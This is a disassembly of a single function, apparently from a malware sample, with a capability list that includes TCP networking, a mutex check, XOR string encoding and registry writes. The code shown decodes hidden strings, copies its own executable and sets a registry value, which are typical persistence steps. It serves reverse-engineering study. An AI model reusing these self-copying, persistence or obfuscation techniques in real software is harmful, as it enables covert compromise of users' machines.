Function at 0x408640
Capabilities:
Act as tcp client
Check mutex on windows
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create process on windows
Create tcp socket
Create udp socket
Encode data using xor
Get hostname
Get session user name
Initialize winsock library
Query or enumerate registry value
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4369b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0xe50
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movups xmm0, xmmword [0x442ef8]
movups xmmword [ebp - 0x400], xmm0
movups xmm0, xmmword [str.__._9]
movups xmmword [ebp - 0x3f0], xmm0
movups xmm0, xmmword [0x442f18]
movups xmmword [ebp - 0x3e0], xmm0
movq xmm0, qword [0x442f28]
movq qword [ebp - 0x3d0], xmm0
mov al, byte [0x442f30]
mov byte [ebp - 0x3c8], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov edi, dword [0x448508]
cmp edi, 2
jl 0x408820
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
mov esi, 4
movd xmm5, esi
movaps xmm6, xmmword [0x443690]
mov esi, 0x1f
movd xmm7, esi
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
nop dword [eax]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x400]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x400], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3fc]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3fc], xmm1
add edx, 8
cmp edx, 0x38
jl 0x408710
mov dword [ebp - 0x24], edx
cmp edx, 0x39
jge 0x408851
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x400], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x39
jl 0x408820
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0x400]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408878
sub ecx, edx
push ecx
lea eax, [ebp - 0x400]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
lea ecx, [ebp - 0xb8]
call fcn.004082b0
mov byte [ebp - 0x25], al
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x4088df
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x4088d2
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edd0
push edx
push ecx
call fcn.00419018
add esp, 8
mov al, byte [ebp - 0x25]
test al, al
jne 0x40ee43
movq xmm0, qword [0x443370]
movq qword [ebp - 0x1c7], xmm0
mov ax, word [0x443378]
mov word [ebp - 0x1bf], ax
mov al, byte [0x44337a]
mov byte [ebp - 0x1bd], al
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x1c7], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0xb
jl 0x408914
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0x1c7]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408965
sub ecx, edx
push ecx
lea eax, [ebp - 0x1c7]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
push ecx
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x5a0]
call fcn.004113f0
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x4089ce
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x4089c4
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edd5
push edx
push ecx
call fcn.00419018
add esp, 8
mov eax, dword [0x442ed8]
mov dword [ebp - 0x127], eax
mov ax, word [0x442edc]
mov word [ebp - 0x123], ax
mov al, byte [0x442ede]
mov byte [ebp - 0x121], al
xor edx, edx
mov dword [ebp - 0x2c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x127], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 7
jl 0x4089f6
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0x127]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408a47
sub ecx, edx
push ecx
lea eax, [ebp - 0x127]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
push ecx
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x5b4]
call fcn.004113f0
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x408ab0
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x408aa6
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edda
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
test eax, eax
je 0x408b03
lea ecx, [ebp - 0xe0]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408af0
sub ecx, edx
push ecx
lea eax, [ebp - 0xe0]
push eax
jmp 0x408b0a
push 3
push 0x442c48
lea ecx, [ebp - 0x50]
call fcn.004040a0
lea ecx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae ecx, dword [ebp - 0x50]
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x408b22
sub edx, esi
add edx, ecx
push ecx
push 0x10
lea eax, [ebp - 0x5a0]
push eax
push ecx
call fcn.004121b0
add esp, 0x10
mov byte [ebp - 0x25], al
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x408b7a
inc edx
mov ecx, dword [ebp - 0x50]
mov eax, ecx
cmp edx, 0x1000
jb 0x408b6d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40eddf
push edx
push ecx
call fcn.00419018
add esp, 8
mov al, byte [ebp - 0x25]
test al, al
jne 0x408c4e
mov dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
test eax, eax
je 0x408bd3
lea ecx, [ebp - 0xe0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408bc0
sub ecx, edx
push ecx
lea eax, [ebp - 0xe0]
push eax
jmp 0x408bda
push 3
push 0x442c48
lea ecx, [ebp - 0x50]
call fcn.004040a0
lea ecx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae ecx, dword [ebp - 0x50]
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x408bf2
sub edx, esi
add edx, ecx
push ecx
push 0x10
lea eax, [ebp - 0x5b4]
push eax
push ecx
call fcn.004121b0
add esp, 0x10
mov byte [ebp - 0x25], al
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x408c4a
inc edx
mov ecx, dword [ebp - 0x50]
mov eax, ecx
cmp edx, 0x1000
jb 0x408c3d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ede4
push edx
push ecx
call fcn.00419018
add esp, 8
mov al, byte [ebp - 0x25]
test al, al
je 0x408cb4
lea ecx, [ebp - 0x5b4]
call fcn.00410550
mov ecx, dword [ebp - 0x5a4]
test ecx, ecx
je 0x408c76
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x408c76
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
lea ecx, [ebp - 0x5a0]
call fcn.00410550
mov ecx, dword [ebp - 0x590]
test ecx, ecx
je 0x408c9e
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x408c9e
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
movq xmm0, qword [str.bkhknrxv_f]
movq qword [ebp - 0x8c], xmm0
mov eax, dword [0x4430e8]
mov dword [ebp - 0x84], eax
cmp byte [str.BkUJLXOXLI__m_G], 0
je 0x408e31
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x408e00
movaps xmm4, xmmword [0x443730]
mov ecx, 4
movd xmm5, ecx
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.bkhknrxv_f]
pxor xmm1, xmm0
movd dword [ebp - 0x8c], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x88]
pxor xmm1, xmm0
movd dword [ebp - 0x88], xmm1
mov edx, 8
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x8c], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xc
jl 0x408e00
lea eax, [ebp - 0x8c]
push eax
call fcn.004218fd
add esp, 4
mov edx, eax
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0xf
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408e65
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x104]
call fcn.004040a0
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x254]
call fcn.00403940
lea ecx, [ebp - 0x6a0]
call fcn.00406230
push 0x104
lea eax, [ebp - 0x880]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movups xmm0, xmmword [0x4430ec]
movups xmmword [ebp - 0xe1], xmm0
mov al, byte [0x4430fc]
mov byte [ebp - 0xd1], al
xor edx, edx
mov dword [ebp - 0x24], edx
lea esi, [edx + 4]
cmp edi, 2
jl 0x409020
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
movd xmm5, esi
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
nop dword [eax]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xe1]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xe1], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xdd]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xdd], xmm1
add edx, 8
cmp edx, 0x10
jl 0x408f10
mov dword [ebp - 0x24], edx
cmp edx, 0x11
jge 0x409051
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe1], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x11
jl 0x409020
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xe1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409078
sub ecx, edx
push ecx
lea eax, [ebp - 0xe1]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x120]
call fcn.00411620
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4090b7
mov eax, dword [eax]
push 0
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x409101
inc edx
mov ecx, dword [ebp - 0x120]
mov eax, ecx
cmp edx, 0x1000
jb 0x4090f7
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ede9
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x409156
inc edx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
cmp edx, 0x1000
jb 0x40914c
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ede9
push edx
push ecx
call fcn.00419018
add esp, 8
movups xmm0, xmmword [0x4430ec]
movups xmmword [ebp - 0xe1], xmm0
mov al, byte [0x4430fc]
mov byte [ebp - 0xd1], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x4092c0
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
movd xmm5, esi
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xe1]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xe1], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xdd]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xdd], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4091b3
mov dword [ebp - 0x24], edx
cmp edx, 0x11
jge 0x4092f1
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe1], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x11
jl 0x4092c0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
lea ecx, [ebp - 0xe1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409318
sub ecx, edx
push ecx
lea eax, [ebp - 0xe1]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004040a0
movq xmm0, qword [str.ZKOYHYOHV_BuY_]
movq qword [ebp - 0x8c], xmm0
mov eax, dword [0x44344c]
mov dword [ebp - 0x84], eax
cmp byte [0x44344f], 0
je 0x4094b1
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x409480
movaps xmm4, xmmword [0x443730]
movd xmm5, esi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x443670]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
mov eax, dword [0x443700]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.ZKOYHYOHV_BuY_]
pxor xmm1, xmm0
movd dword [ebp - 0x8c], xmm1
movaps xmm2, xmmword [0x443680]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x443690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x88]
pxor xmm1, xmm0
movd dword [ebp - 0x88], xmm1
mov edx, 8
mov dword [ebp - 0x24], edx
nop word [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x8c], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xc
jl 0x409480
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
lea ecx, [ebp - 0x8c]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4094d0
sub ecx, edx
push ecx
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x50]
call fcn.004040a0
movups xmm0, xmmword [0x44337c]
movups xmmword [ebp - 0x3f5], xmm0
movups xmm0, xmmword [0x44338c]
movups xmmword [ebp - 0x3e5], xmm0
movq xmm0, qword [0x44339c]
movq qword [ebp - 0x3d5], xmm0
mov eax, dword [0x4433a4]
mov dword [ebp - 0x3cd], eax
mov ax, word [0x4433a8]
mov word [ebp - 0x3c9], ax
xor edx, edx
mov dword [ebp - 0x24], edx
cmp edi, 2
jl 0x409680
movaps xmm4, xmmword [0x443670]
movaps xmm3, xmmword [0x443730]
movd xmm5, esi
movaps xmm6, xmmword [0x443690]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x443700]
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3f5]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3f5], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4436e0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3f1]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3f1], xmm1
add edx, 8
cmp edx, 0x28
jl 0x409571
mov dword [ebp - 0x24], edx
cmp edx, 0x2e
jge 0x4096b1
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3f5], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x2e
jl 0x409680
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0x3f5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4096d8
sub ecx, edx
push ecx
lea eax, [ebp - 0x3f5]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004040a0
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x254]
lea ecx, [ebp - 0x120]
call fcn.00411620
add esp, 4
mov esi, eax
lea ecx, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
cmovae ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0x24]
push eax
push 2
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40976d
mov ecx, esi
cmp dword [esi + 0x14], 0x10
jb 0x409747
mov ecx, dword [esi]
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae eax, dword [ebp - 0x50]
push dword [esi + 0x10]
push ecx
push 1
push 0
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0xbc]
cmp edx, 0x10
jb 0x4097a7
inc edx
mov ecx, dword [ebp - 0xd0]
mov eax, ecx
cmp edx, 0x1000
jb 0x40979d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edee
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x4097f6
inc edx
mov ecx, dword [ebp - 0x50]
mov eax, ecx
cmp edx, 0x1000
jb 0x4097ec
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edee
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x409842
inc edx
mov ecx, dword [ebp - 0x120]
mov eax, ecx
cmp edx, 0x1000
jb 0x409838
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40edee
push edx
push ecx
call fcn.00419018
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
